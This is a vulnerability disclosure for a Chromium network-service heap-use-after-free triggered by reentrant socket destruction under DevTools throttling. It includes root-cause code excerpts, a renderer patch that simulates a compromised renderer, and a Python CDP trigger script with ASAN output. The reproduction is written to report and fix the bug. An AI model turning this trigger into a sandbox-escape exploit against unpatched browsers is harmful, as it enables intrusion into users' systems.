Use after free in Network (CVE-2026-10905)
A network throttling interceptor in Chromium held a map iterator across a call that could synchronously destroy the socket and erase that same map entry, so the following erase touched freed memory. A compromised renderer could trigger the heap-use-after-free, and on Android, where the network service runs inside the browser process, this could become a renderer-to-browser sandbox escape.
c6eed09fc8b174b0f3eebedcceb1e792 Follow
Originally disclosed on Chrome VRP
- Fix shipped in 3 months
Title
Reentrant socket destruction during ThrottlingP2PNetworkInterceptor timer callback leads to heap-use-after-free in the Network Service (browser process on Android)
Summary
ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() holds a std::map iterator while calling socket->SendFromInterceptor(), which can synchronously destroy the socket and erase the iterator's underlying map node via UnregisterSocket(). The subsequent send_packets_.erase(packet_iterator) operates on freed memory, producing a heap-use-after-free. A compromised renderer can trigger this reliably when DevTools network throttling is active. On Android, where the Network Service runs in-process within the browser by default, this constitutes a direct renderer-to-browser sandbox escape.
Bisect
Introducing Commit: d9dba0eed3f7bfed1be7c0650abb4870689107f2
- Date: 2024-02-21
- Author: Florent Castelli
- Review: https://chromium-review.googlesource.com/c/chromium/src/+/5268668
Root Cause
The ThrottlingP2PNetworkInterceptor maintains a std::map called send_packets_ that stores pending packets keyed by a monotonically increasing packet ID. When the simulated network delay expires, OnSendNetworkTimer() dequeues deliverable packets and processes them one by one. For each packet, it first looks up the corresponding entry in send_packets_ to obtain an iterator, then calls socket->SendFromInterceptor() to perform the actual send, and finally erases the entry from the map using that same iterator.
// services/network/throttling/throttling_p2p_network_interceptor.cc
void ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() {
int64_t now = webrtc::TimeMicros();
std::vector<webrtc::PacketDeliveryInfo> packets =
send_network_.DequeueDeliverablePackets(now);
for (auto& packet : packets) {
SendPacketMap::iterator packet_iterator =
send_packets_.find(packet.packet_id);
if (packet_iterator == send_packets_.end()) {
continue;
}
P2PSocketUdp* socket = packet_iterator->second.socket;
if (packet.receive_time_us != webrtc::PacketDeliveryInfo::kNotReceived) {
socket->SendFromInterceptor(packet_iterator->second.packet);
// ^ This call may synchronously destroy the socket, which calls
// UnregisterSocket, invalidating packet_iterator.
}
send_packets_.erase(packet_iterator);
// ^ heap-use-after-free: packet_iterator was already invalidated
}
// ...
}
The critical issue is that SendFromInterceptor() is not a leaf function. It calls DoSend(), which under certain conditions calls P2PSocket::OnError():
// services/network/p2p/socket_udp.cc
void P2PSocketUdp::SendFromInterceptor(const P2PPendingPacket& packet) {
if (send_pending_) {
send_queue_.push_back(packet);
} else {
std::ignore = DoSend(packet);
}
}
When DoSend() encounters a packet addressed to a peer that has not completed STUN binding, it determines the packet is non-STUN data and calls OnError():
// services/network/p2p/socket_udp.cc
bool P2PSocketUdp::DoSend(const P2PPendingPacket& packet) {
// ...
if (!connected_peers_.contains(packet.to)) {
P2PSocket::StunMessageType type = P2PSocket::StunMessageType();
bool stun = GetStunPacketType(packet.data->first(packet.size), &type);
if (!stun || type == STUN_DATA_INDICATION) {
LOG(ERROR) << "Page tried to send a data packet to "
<< packet.to.ToString()
<< " before STUN binding is finished.";
OnError();
return false;
}
// ...
}
// ...
}
OnError() resets the Mojo receiver and client, then asks the P2PSocketManager to destroy the socket:
// services/network/p2p/socket.cc
void P2PSocket::OnError() {
receiver_.reset();
client_.reset();
delegate_->DestroySocket(this);
}
P2PSocketManager::DestroySocket() erases the unique_ptr entry from its flat_map, which triggers the P2PSocketUdp destructor:
// services/network/p2p/socket_manager.cc
void P2PSocketManager::DestroySocket(P2PSocket* socket) {
auto iter = sockets_.find(socket);
CHECK(iter != sockets_.end());
sockets_.erase(iter);
}
The P2PSocketUdp destructor calls interceptor_->UnregisterSocket(this), which removes all entries in send_packets_ that belong to the destroyed socket using std::erase_if:
// services/network/p2p/socket_udp.cc
P2PSocketUdp::~P2PSocketUdp() {
if (interceptor_) {
interceptor_->UnregisterSocket(this);
}
}
// services/network/throttling/throttling_p2p_network_interceptor.cc
void ThrottlingP2PNetworkInterceptor::UnregisterSocket(P2PSocketUdp* socket) {
std::erase_if(send_packets_, [&socket](auto& kv) -> bool {
return kv.second.socket == socket;
});
// ...
}
This entire chain executes synchronously on the same thread. By the time control returns from socket->SendFromInterceptor() back to OnSendNetworkTimer(), the map node that packet_iterator pointed to has already been freed by UnregisterSocket(). The subsequent send_packets_.erase(packet_iterator) operates on freed memory.
A critical enabler is that the interceptor path bypasses the connected_peers_ validation that would normally reject non-STUN data. When DevTools throttling is active, SendPacket() delegates directly to the interceptor without any checks:
// services/network/p2p/socket_udp.cc
bool P2PSocketUdp::SendPacket(base::span<const uint8_t> data,
const P2PPacketInfo& packet_info) {
if (interceptor_) {
P2PPendingPacket packet(packet_info.destination, data,
packet_info.packet_options, packet_info.packet_id);
interceptor_->EnqueueSend(std::move(packet), this);
return true; // bypasses all validation
}
// normal path with connected_peers_ check in DoSend...
}
The validation that would normally reject non-STUN data (in DoSend) only runs later inside the timer callback, which is exactly where the reentrant destruction occurs. The receive path in OnReceiveNetworkTimer() contains the same structural pattern.
Attack scenario
The PoC uses a Python CDP script to enable network throttling, but that is only necessary for self-contained reproducibility. In a realistic attack the throttling prerequisite is satisfied by the victim themselves. Web developers routinely enable network throttling through the DevTools Network panel (e.g. selecting "Slow 3G" or "Fast 3G") while debugging web applications, and automated testing frameworks such as Puppeteer and Playwright programmatically enable throttling via CDP as a standard part of their test harnesses. In either case the attacker does not need to control the throttling setup; they only need the victim to visit attacker-controlled content while throttling is already active.
Once the attacker achieves renderer code execution through a separate renderer vulnerability, the compromised renderer interacts with the Network Service directly through Mojo IPC without any JavaScript or WebRTC API involvement. The relevant Mojo interface is straightforward:
// services/network/public/mojom/p2p.mojom
interface P2PSocketManager {
CreateSocket(P2PSocketType type,
IPEndPoint local_address,
P2PPortRange port_range,
P2PHostAndIPEndPoint remote_address,
MutableNetworkTrafficAnnotationTag traffic_annotation,
mojo_base.mojom.UnguessableToken? devtools_token,
pending_remote<P2PSocketClient> client,
pending_receiver<P2PSocket> socket);
};
interface P2PSocket {
Send(mojo_base.mojom.ReadOnlyBuffer data,
P2PPacketInfo packet_info);
};
The attack proceeds as follows. The compromised renderer calls CreateSocket with P2PSocketType::UDP and the frame's devtools_token. Because throttling is active under that token, the socket is created with a non-null interceptor_ pointer. The renderer immediately calls P2PSocket::Send with non-STUN data addressed to an arbitrary destination. The interceptor buffers the packet, and when its delay timer fires, the reentrant destruction chain described in the root cause section triggers the heap-use-after-free. The entire sequence completes within a single timer tick, requiring no user interaction beyond having DevTools throttling enabled.
Impact across platforms
The severity of this vulnerability depends on where the Network Service runs relative to the browser process. Chromium controls this through the kNetworkServiceInProcess feature flag:
// content/public/common/content_features.cc
BASE_FEATURE(kNetworkServiceInProcess,
"NetworkServiceInProcess2",
#if BUILDFLAG(IS_ANDROID)
base::FEATURE_ENABLED_BY_DEFAULT
#else
base::FEATURE_DISABLED_BY_DEFAULT
#endif
);
The runtime decision is made in IsInProcessNetworkServiceImpl(). On Android, devices with 1 GB of RAM or less are forced into in-process mode regardless of the feature flag:
// content/browser/network/network_service_util_internal.cc
constexpr base::ByteCount kNetworkServiceOutOfProcessThreshold =
base::MiB(1077);
bool IsInProcessNetworkServiceImpl() {
if (base::CommandLine::ForCurrentProcess()->HasSwitch(
switches::kSingleProcess)) {
return true;
}
if (g_force_network_service_process_in_or_out) {
return *g_force_network_service_process_in_or_out;
}
#if BUILDFLAG(IS_ANDROID)
if (base::SysInfo::AmountOfPhysicalMemory() <=
kNetworkServiceOutOfProcessThreshold) {
return true;
}
#endif
return base::FeatureList::IsEnabled(features::kNetworkServiceInProcess);
}
On Android, the Network Service runs in-process within the browser process by default. Because OnSendNetworkTimer() executes on the browser process's IO thread in this configuration, the heap-use-after-free corrupts browser process memory directly. A compromised renderer triggering this bug on Android achieves memory corruption in the browser process without any intermediate sandbox boundary, making this a direct renderer-to-browser sandbox escape.
On desktop platforms (Linux, Windows, macOS), the Network Service runs as a separate utility process. However, the Network Service sandbox is disabled by default on Linux and Windows:
// sandbox/policy/features.cc
#if !BUILDFLAG(IS_MAC) && !BUILDFLAG(IS_FUCHSIA)
// Enables network service sandbox.
// (Only causes an effect when feature kNetworkServiceInProcess is disabled.)
BASE_FEATURE(kNetworkServiceSandbox, base::FEATURE_DISABLED_BY_DEFAULT);
On macOS and Fuchsia the sandbox is always enabled and does not depend on this feature flag. On desktop Linux and Windows, because kNetworkServiceSandbox defaults to disabled, achieving code execution in the Network Service process is effectively equivalent to unsandboxed code execution. On macOS the attacker would still need to escape the Network Service sandbox after gaining code execution there.
The PoC below was tested on desktop Linux with an out-of-process Network Service. The ASAN report confirms the crash on the Chrome_ChildIOT thread of the utility process (identified by content::UtilityMain in the thread creation stack and the browser process logging "Network service crashed or was terminated, restarting service"). Adding --enable-features=NetworkServiceInProcess to the launch flags moves the Network Service into the browser process, matching the default Android configuration.
Reproduce
The PoC operates under the compromised renderer threat model. It requires three components: a renderer-side patch that simulates the compromised renderer creating P2P sockets and sending non-STUN data directly via Mojo IPC (bypassing WebRTC JavaScript APIs entirely), a minimal HTML page that the patched renderer recognizes as the trigger, and a Python orchestrator that uses CDP to enable network throttling. All process sandboxes remain active.
Apply the following patch to the renderer, then build an ASAN-instrumented Chrome:
diff --git a/content/renderer/render_frame_impl.cc b/content/renderer/render_frame_impl.cc
--- a/content/renderer/render_frame_impl.cc
+++ b/content/renderer/render_frame_impl.cc
@@ -117,6 +117,14 @@
#include "base/debug/dump_without_crashing.h"
#include "base/feature_list.h"
#include "base/logging.h"
+// === PoC includes ===
+#include "services/network/public/mojom/p2p.mojom.h"
+#include "services/network/public/cpp/p2p_socket_type.h"
+#include "mojo/public/cpp/bindings/remote.h"
+#include "mojo/public/cpp/bindings/receiver.h"
+#include "net/traffic_annotation/network_traffic_annotation.h"
+// === END PoC includes ===
+
#include "base/memory/weak_ptr.h"
#include "base/metrics/field_trial.h"
#include "base/metrics/field_trial_params.h"
@@ -3856,6 +3864,72 @@ void RenderFrameImpl::DidFailLoad(const WebURLError& error,
// ...
}
+// === Compromised renderer PoC: direct Mojo P2P socket creation ===
+namespace {
+
+class PocP2PSocketClient : public network::mojom::P2PSocketClient {
+ public:
+ PocP2PSocketClient() = default;
+ ~PocP2PSocketClient() override = default;
+
+ mojo::PendingRemote<network::mojom::P2PSocketClient> Bind() {
+ return receiver_.BindNewPipeAndPassRemote();
+ }
+
+ mojo::Remote<network::mojom::P2PSocket>& socket() { return socket_; }
+ mojo::PendingReceiver<network::mojom::P2PSocket> BindSocket() {
+ return socket_.BindNewPipeAndPassReceiver();
+ }
+
+ void SocketCreated(const net::IPEndPoint& local_address,
+ const net::IPEndPoint& remote_address) override {
+ LOG(ERROR) << "POC: P2P socket created, local=" << local_address.ToString()
+ << ", sending non-STUN data";
+ uint8_t fake_data[64] = {};
+ std::fill(std::begin(fake_data), std::end(fake_data),
+ static_cast<uint8_t>(0x41));
+ net::IPEndPoint target(net::IPAddress(10, 0, 0, 1), 9999);
+ for (int i = 0; i < 5; i++) {
+ network::P2PPacketInfo info;
+ info.destination = target;
+ info.packet_id = i + 1;
+ socket_->Send(fake_data, info);
+ }
+ LOG(ERROR) << "POC: Sent 5 non-STUN packets via Mojo";
+ }
+ void SendComplete(
+ const network::P2PSendPacketMetrics& send_metrics) override {}
+ void SendBatchComplete(
+ const std::vector<network::P2PSendPacketMetrics>& metrics) override {}
+ void DataReceived(
+ std::vector<network::mojom::P2PReceivedPacketPtr> packets) override {}
+
+ private:
+ mojo::Receiver<network::mojom::P2PSocketClient> receiver_{this};
+ mojo::Remote<network::mojom::P2PSocket> socket_;
+};
+
+// Static raw pointers so they outlive DidFinishLoad (intentional leak for PoC)
+static PocP2PSocketClient* g_poc_client = nullptr;
+static mojo::Remote<network::mojom::P2PSocketManager>* g_poc_manager = nullptr;
+
+} // namespace
+// === END compromised renderer PoC ===
+
void RenderFrameImpl::DidFinishLoad() {
TRACE_EVENT1("navigation,benchmark,rail", "RenderFrameImpl::didFinishLoad",
"frame_token", frame_token_);
@@ -3870,6 +3934,37 @@ void RenderFrameImpl::DidFinishLoad() {
for (auto& observer : observers_)
observer.DidFinishLoad();
+ // === Compromised renderer PoC trigger ===
+ if (!frame_->Parent() && !g_poc_client) {
+ std::string url = frame_->GetDocument().Url().GetString().Utf8();
+ if (url.find("poc.html") != std::string::npos) {
+ LOG(ERROR) << "POC: Page loaded, will create P2P socket in 3s "
+ << "(waiting for CDP to set throttling)";
+
+ g_poc_manager = new mojo::Remote<network::mojom::P2PSocketManager>();
+ GetBrowserInterfaceBroker().GetInterface(
+ g_poc_manager->BindNewPipeAndPassReceiver());
+ base::UnguessableToken token = devtools_frame_token_;
+
+ base::SingleThreadTaskRunner::GetCurrentDefault()->PostDelayedTask(
+ FROM_HERE,
+ base::BindOnce([](base::UnguessableToken token) {
+ LOG(ERROR) << "POC: Creating P2P socket via Mojo directly";
+ g_poc_client = new PocP2PSocketClient();
+ net::IPEndPoint local_addr(net::IPAddress::IPv4AllZeros(), 0);
+ network::P2PHostAndIPEndPoint remote_info;
+
+ (*g_poc_manager)->CreateSocket(
+ network::P2P_SOCKET_UDP,
+ local_addr,
+ network::P2PPortRange(0, 0),
+ remote_info,
+ net::MutableNetworkTrafficAnnotationTag(
+ net::DefineNetworkTrafficAnnotation("poc_p2p", R"()")),
+ token,
+ g_poc_client->Bind(),
+ g_poc_client->BindSocket());
+
+ LOG(ERROR) << "POC: CreateSocket called with devtools_token="
+ << token.ToString();
+ }, token),
+ base::Seconds(3));
+ }
+ }
+ // === END PoC trigger ===
+
// Don't send this message while the frame is swapped out.
This patch simulates a compromised renderer that directly calls P2PSocketManager::CreateSocket and P2PSocket::Send via Mojo IPC, without involving WebRTC JavaScript APIs or the FilteringNetworkManager permission checks that the normal code path requires. The 3-second delay in DidFinishLoad allows time for the CDP orchestrator to enable network throttling before the P2P socket is created. The devtools_frame_token_ is passed to CreateSocket so the Network Service associates the socket with the active throttling conditions, ensuring the interceptor is engaged.
Build with:
autoninja -C out/asan-release chrome
Save the following as poc.html:
<!DOCTYPE html>
<html>
<head><title>P2P Interceptor Iterator Invalidation UAF</title></head>
<body>
<h2>P2P Interceptor Iterator Invalidation UAF</h2>
<pre id="log"></pre>
<script>
// The compromised renderer patch in render_frame_impl.cc creates P2P sockets
// directly via Mojo on page load. No WebRTC JS API needed.
document.getElementById('log').textContent =
'Page loaded. Renderer patch will create P2P sockets via Mojo directly.\n' +
'If throttling is active, ASAN should report heap-use-after-free.\n';
</script>
</body>
</html>
Save the following as poc_trigger.py:
#!/usr/bin/env python3
"""
PoC Trigger: P2P Interceptor Iterator Invalidation UAF
1. Starts HTTP server for poc.html
2. Launches Chrome with ASAN + remote debugging
3. Navigates to PoC page FIRST (wait for load)
4. THEN enables network throttling via CDP (so it survives navigation)
5. THEN the patched renderer creates P2P sockets via Mojo directly
6. Timer fires -> OnSendNetworkTimer -> iterator invalidation -> UAF
"""
import json
import http.server
import threading
import subprocess
import sys
import os
import tempfile
import time
import urllib.request
import socket
import base64
import struct
CHROME = os.path.expanduser("~/chromium/src/out/asan-release/chrome")
HTTP_PORT = 8899
CDP_PORT = 9222
LOG_FILE = "/tmp/poc-p2p-interceptor.log"
# Minimal sync WebSocket client (no external deps)
class MiniWS:
def __init__(self, url):
url = url.replace("ws://", "")
host_port, self.path = url.split("/", 1)
self.path = "/" + self.path
self.host, port = host_port.split(":")
self.port = int(port)
self.sock = socket.create_connection((self.host, self.port))
self.sock.settimeout(15)
self._handshake()
def _handshake(self):
key = base64.b64encode(os.urandom(16)).decode()
req = (
f"GET {self.path} HTTP/1.1\r\n"
f"Host: {self.host}:{self.port}\r\n"
f"Upgrade: websocket\r\n"
f"Connection: Upgrade\r\n"
f"Sec-WebSocket-Key: {key}\r\n"
f"Sec-WebSocket-Version: 13\r\n\r\n"
)
self.sock.sendall(req.encode())
resp = b""
while b"\r\n\r\n" not in resp:
resp += self.sock.recv(4096)
if b"101" not in resp.split(b"\r\n")[0]:
raise Exception(f"WS handshake failed: {resp[:200]}")
def send(self, data):
payload = data.encode() if isinstance(data, str) else data
mask_key = os.urandom(4)
length = len(payload)
header = bytearray()
header.append(0x81)
if length < 126:
header.append(0x80 | length)
elif length < 65536:
header.append(0x80 | 126)
header += struct.pack(">H", length)
else:
header.append(0x80 | 127)
header += struct.pack(">Q", length)
header += mask_key
masked = bytearray(b ^ mask_key[i % 4] for i, b in enumerate(payload))
self.sock.sendall(bytes(header) + bytes(masked))
def recv(self):
def read_exact(n):
buf = b""
while len(buf) < n:
chunk = self.sock.recv(n - len(buf))
if not chunk:
raise Exception("WS connection closed")
buf += chunk
return buf
hdr = read_exact(2)
length = hdr[1] & 0x7f
if length == 126:
length = struct.unpack(">H", read_exact(2))[0]
elif length == 127:
length = struct.unpack(">Q", read_exact(8))[0]
return read_exact(length).decode()
def close(self):
try:
self.sock.close()
except Exception:
pass
class Handler(http.server.SimpleHTTPRequestHandler):
def __init__(self, *a, **kw):
super().__init__(*a, directory=os.path.dirname(os.path.abspath(__file__)), **kw)
def log_message(self, *a):
pass
def start_http():
srv = http.server.HTTPServer(("127.0.0.1", HTTP_PORT), Handler)
srv.serve_forever()
def wait_for_cdp(timeout=30):
for _ in range(timeout * 2):
try:
resp = urllib.request.urlopen(f"http://127.0.0.1:{CDP_PORT}/json")
return json.loads(resp.read())
except Exception:
time.sleep(0.5)
return None
def main():
# HTTP server
threading.Thread(target=start_http, daemon=True).start()
print(f"[+] HTTP server on :{HTTP_PORT}")
# Launch Chrome - redirect stderr to file to avoid pipe buffer blocking
user_data = tempfile.mkdtemp(prefix="poc-p2p-")
cmd = [
CHROME,
"--disable-gpu",
f"--remote-debugging-port={CDP_PORT}",
f"--user-data-dir={user_data}",
"--headless",
"--enable-logging=stderr",
"--v=1",
"about:blank",
]
env = os.environ.copy()
env["ASAN_OPTIONS"] = "detect_odr_violation=0"
print(f"[+] Launching Chrome...")
stderr_file = open(LOG_FILE, "w")
proc = subprocess.Popen(cmd, env=env, stderr=stderr_file, stdout=subprocess.DEVNULL)
# Wait for CDP
print("[*] Waiting for CDP...")
targets = wait_for_cdp()
if not targets:
print("[-] CDP timeout")
proc.terminate()
stderr_file.close()
return
page = next((t for t in targets if t.get("type") == "page"), None)
if not page:
print("[-] No page target")
proc.terminate()
stderr_file.close()
return
ws_url = page["webSocketDebuggerUrl"]
print(f"[+] CDP target: {ws_url}")
ws = MiniWS(ws_url)
msg_id = 0
def cdp(method, params=None):
nonlocal msg_id
msg_id += 1
mid = msg_id
msg = {"id": mid, "method": method}
if params:
msg["params"] = params
ws.send(json.dumps(msg))
while True:
raw = ws.recv()
resp = json.loads(raw)
if resp.get("id") == mid:
return resp
def wait_for_event(name, timeout=10):
"""Read CDP messages until we see the named event."""
old_timeout = ws.sock.gettimeout()
ws.sock.settimeout(timeout)
try:
while True:
raw = ws.recv()
msg = json.loads(raw)
if msg.get("method") == name:
return msg
except socket.timeout:
return None
finally:
ws.sock.settimeout(old_timeout)
try:
# Step 1: Navigate to poc.html and wait for it to fully load
r = cdp("Page.enable")
print(f"[+] Page.enable: id={r.get('id')}")
r = cdp("Page.navigate", {"url": f"http://127.0.0.1:{HTTP_PORT}/poc.html"})
print(f"[+] Page.navigate: id={r.get('id')}")
evt = wait_for_event("Page.loadEventFired", timeout=10)
if evt:
print("[+] Page loaded successfully")
else:
print("[!] Page load timeout, continuing anyway")
# Step 2: AFTER navigation is complete, enable network throttling.
r = cdp("Network.enable")
print(f"[+] Network.enable: id={r.get('id')}")
r = cdp("Network.emulateNetworkConditions", {
"offline": False,
"latency": 50,
"downloadThroughput": 1000000,
"uploadThroughput": 1000000,
})
print(f"[+] Network.emulateNetworkConditions: id={r.get('id')}")
# Step 3: The patched renderer will create P2P sockets via Mojo
# directly (3s delayed task in DidFinishLoad), bypassing WebRTC JS
# API and FilteringNetworkManager permissions entirely.
# Wait for the delayed task + interceptor timer + crash.
print("[*] Throttling active. Renderer will create P2P sockets in ~3s. Waiting for crash (20s)...")
time.sleep(20)
except Exception as e:
print(f"[!] Error: {e}")
import traceback
traceback.print_exc()
finally:
ws.close()
# Collect results
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.terminate()
try:
proc.wait(timeout=5)
except subprocess.TimeoutExpired:
proc.kill()
proc.wait()
stderr_file.close()
with open(LOG_FILE, "r") as f:
stderr = f.read()
if "AddressSanitizer" in stderr:
print("\n[!!!] ASAN report detected!\n")
for line in stderr.split("\n"):
if any(k in line for k in ["ERROR:", "SUMMARY:", "heap-use-after-free",
"READ of size", "WRITE of size",
"ThrottlingP2PNetworkInterceptor",
"OnSendNetworkTimer", "UnregisterSocket",
"POC"]):
print(f" {line}")
elif "POC" in stderr:
print("[+] PoC code path hit but no ASAN crash")
for line in stderr.split("\n"):
if "POC" in line or "UpdateConditions" in line:
print(f" {line}")
else:
print("[-] No ASAN report or PoC markers found")
print("[*] Last 30 lines of stderr:")
for line in stderr.split("\n")[-30:]:
print(f" {line}")
print(f"\n[*] Full log: {LOG_FILE}")
if __name__ == "__main__":
main()
Run the PoC:
python3 poc_trigger.py
Output:
[+] HTTP server on :8899
[+] Launching Chrome...
[*] Waiting for CDP...
[+] CDP target: ws://127.0.0.1:9222/devtools/page/...
[+] Page.enable: id=1
[+] Page.navigate: id=2
[+] Page loaded successfully
[+] Network.enable: id=3
[+] Network.emulateNetworkConditions: id=4
[*] Throttling active. Renderer will create P2P sockets in ~3s. Waiting for crash (20s)...
[!!!] ASAN report detected!
ASAN report:
==3434823==ERROR: AddressSanitizer: heap-use-after-free on address 0x7cbac90794c8 at pc 0x7fab27b88313 bp 0x7baabe2ac130 sp 0x7baabe2ac128
READ of size 8 at 0x7cbac90794c8 thread T5 (Chrome_ChildIOT)
#0 0x7fab27b88312 in network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() gen/third_party/libc++/src/include/__tree:208:12
#1 0x7fab27b898f2 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#2 0x7fab47696e7f in base::OneShotTimer::RunUserTask() base/functional/callback.h:155:12
#3 0x7fab4769ab4c in base::internal::Invoker<...>::Run(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#4 0x7fab475614f2 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#5 0x7fab475e29de in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#6 0x7fab475e19b6 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#7 0x7fab4778fe7b in base::MessagePumpEpoll::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_epoll.cc:224:55
#8 0x7fab475e4058 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#9 0x7fab474cbb52 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#10 0x7fab4767a0a2 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#11 0x7fab388ba251 in content::(anonymous namespace)::ChildIOThread::Run(base::RunLoop*) content/child/child_process.cc:69:19
#12 0x7fab4767a672 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#13 0x7fab476de6fc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#14 0x56500a182136 in asan_thread_start(void*) asan_interceptors.cpp
0x7cbac90794c8 is located 8 bytes inside of 216-byte region [0x7cbac90794c0,0x7cbac9079598)
freed by thread T5 (Chrome_ChildIOT) here:
#0 0x56500a1bebf2 in operator delete(void*, unsigned long)
#1 0x7fab27b8672e in network::ThrottlingP2PNetworkInterceptor::UnregisterSocket(network::P2PSocketUdp*) gen/third_party/libc++/src/include/__new/allocate.h:63:10
#2 0x7fab27b74f25 in network::P2PSocketUdp::~P2PSocketUdp() services/network/p2p/socket_udp.cc:232:19
#3 0x7fab27b7541d in network::P2PSocketUdp::~P2PSocketUdp() services/network/p2p/socket_udp.cc:230:31
#4 0x7fab27b57ea9 in base::internal::flat_tree<...>::erase(...) gen/third_party/libc++/src/include/__memory/unique_ptr.h:74:5
#5 0x7fab27b58253 in non-virtual thunk to network::P2PSocketManager::DestroySocket(network::P2PSocket*) services/network/p2p/socket_manager.cc:230:12
#6 0x7fab27b52c67 in network::P2PSocket::OnError() services/network/p2p/socket.cc:175:14
#7 0x7fab27b79076 in network::P2PSocketUdp::DoSend(network::P2PPendingPacket const&) services/network/p2p/socket_udp.cc:434:7
#8 0x7fab27b87eeb in network::ThrottlingP2PNetworkInterceptor::OnSendNetworkTimer() services/network/throttling/throttling_p2p_network_interceptor.cc:158:15
#9 0x7fab27b898f2 in base::internal::Invoker<...>::RunOnce(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#10 0x7fab47696e7f in base::OneShotTimer::RunUserTask() base/functional/callback.h:155:12
#11 0x7fab4769ab4c in base::internal::Invoker<...>::Run(base::internal::BindStateBase*) base/functional/bind_internal.h:740:12
#12 0x7fab475614f2 in base::TaskAnnotator::RunTaskImpl(base::PendingTask&) base/functional/callback.h:155:12
#13 0x7fab475e29de in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWorkImpl(base::LazyNow*) base/task/common/task_annotator.h:112:5
#14 0x7fab475e19b6 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::DoWork() base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:346:40
#15 0x7fab4778fe7b in base::MessagePumpEpoll::Run(base::MessagePump::Delegate*) base/message_loop/message_pump_epoll.cc:224:55
#16 0x7fab475e4058 in base::sequence_manager::internal::ThreadControllerWithMessagePumpImpl::Run(bool, base::TimeDelta) base/task/sequence_manager/thread_controller_with_message_pump_impl.cc:650:12
#17 0x7fab474cbb52 in base::RunLoop::Run(base::Location const&) base/run_loop.cc:135:14
#18 0x7fab4767a0a2 in base::Thread::Run(base::RunLoop*) base/threading/thread.cc:361:13
#19 0x7fab388ba251 in content::(anonymous namespace)::ChildIOThread::Run(base::RunLoop*) content/child/child_process.cc:69:19
#20 0x7fab4767a672 in base::Thread::ThreadMain() base/threading/thread.cc:436:3
#21 0x7fab476de6fc in base::(anonymous namespace)::ThreadFunc(void*) base/threading/platform_thread_posix.cc:102:13
#22 0x56500a182136 in asan_thread_start(void*) asan_interceptors.cpp
previously allocated by thread T5 (Chrome_ChildIOT) here:
#0 0x56500a1bdfed in operator new(unsigned long)
#1 0x7fab27b89e90 in std::__Cr::__try_key_extraction_impl<...>(...) gen/third_party/libc++/src/include/__new/allocate.h:43:28
#2 0x7fab27b8789f in network::ThrottlingP2PNetworkInterceptor::EnqueueSend(network::P2PPendingPacket, network::P2PSocketUdp*) gen/third_party/libc++/src/include/__utility/try_key_extraction.h:108:10
#3 0x7fab27b7b4df in network::P2PSocketUdp::SendPacket(base::span<unsigned char const, ...>, network::P2PPacketInfo const&) services/network/p2p/socket_udp.cc:566:19
#4 0x7fab27b7afcb in network::P2PSocketUdp::Send(base::span<unsigned char const, ...>, network::P2PPacketInfo const&) services/network/p2p/socket_udp.cc:553:7
#5 0x7fab27dcfcd3 in network::mojom::P2PSocketStubDispatch::Accept(network::mojom::P2PSocket*, mojo::Message*) gen/services/network/public/mojom/p2p.mojom.cc:1444:13
#6 0x7fab48abb2f2 in mojo::InterfaceEndpointClient::HandleValidatedMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:1085:54
#7 0x7fab48ad269b in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#8 0x7fab48ac0ba4 in mojo::InterfaceEndpointClient::HandleIncomingMessage(mojo::Message*) mojo/public/cpp/bindings/lib/interface_endpoint_client.cc:747:20
#9 0x7fab48ae1c7e in mojo::internal::MultiplexRouter::ProcessIncomingMessage(...) mojo/public/cpp/bindings/lib/multiplex_router.cc:1204:42
#10 0x7fab48ae04ad in mojo::internal::MultiplexRouter::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/multiplex_router.cc:790:7
#11 0x7fab48ad269b in mojo::MessageDispatcher::Accept(mojo::Message*) mojo/public/cpp/bindings/lib/message_dispatcher.cc:44:19
#12 0x7fab48aa6f0f in mojo::Connector::DispatchMessage(mojo::ScopedHandleBase<mojo::MessageHandle>) mojo/public/cpp/bindings/lib/connector.cc:568:49
#13 0x7fab48aa875e in mojo::Connector::ReadAllAvailableMessages() mojo/public/cpp/bindings/lib/connector.cc:629:14
#14 0x7fab48aa81f7 in mojo::Connector::OnWatcherHandleReady(char const*, unsigned int) mojo/public/cpp/bindings/lib/connector.cc:454:3
#15 0x7fab48aaade1 in base::internal::Invoker<...>::Run(base::internal::BindStateBase*, unsigned int) base/functional/bind_internal.h:740:12
#16 0x7fab48aaa48e in base::RepeatingCallback<void (unsigned int)>::Run(unsigned int) const & base/functional/callback.h:343:12
#17 0x7fab48aaa244 in base::internal::Invoker<...>::Run(base::internal::BindStateBase*, unsigned int, mojo::HandleSignalsState const&) base/functional/bind_internal.h:673:12
#18 0x7fab481a5490 in base::RepeatingCallback<void (unsigned int, mojo::HandleSignalsState const&)>::Run(...) const & base/functional/callback.h:343:12
#19 0x7fab481a4e6b in mojo::SimpleWatcher::OnHandleReady(int, unsigned int, mojo::HandleSignalsState const&) mojo/public/cpp/system/simple_watcher.cc:286:14
#20 0x7fab481a5808 in mojo::SimpleWatcher::Context::Notify(unsigned int, MojoHandleSignalsState, unsigned int) mojo/public/cpp/system/simple_watcher.cc:97:22
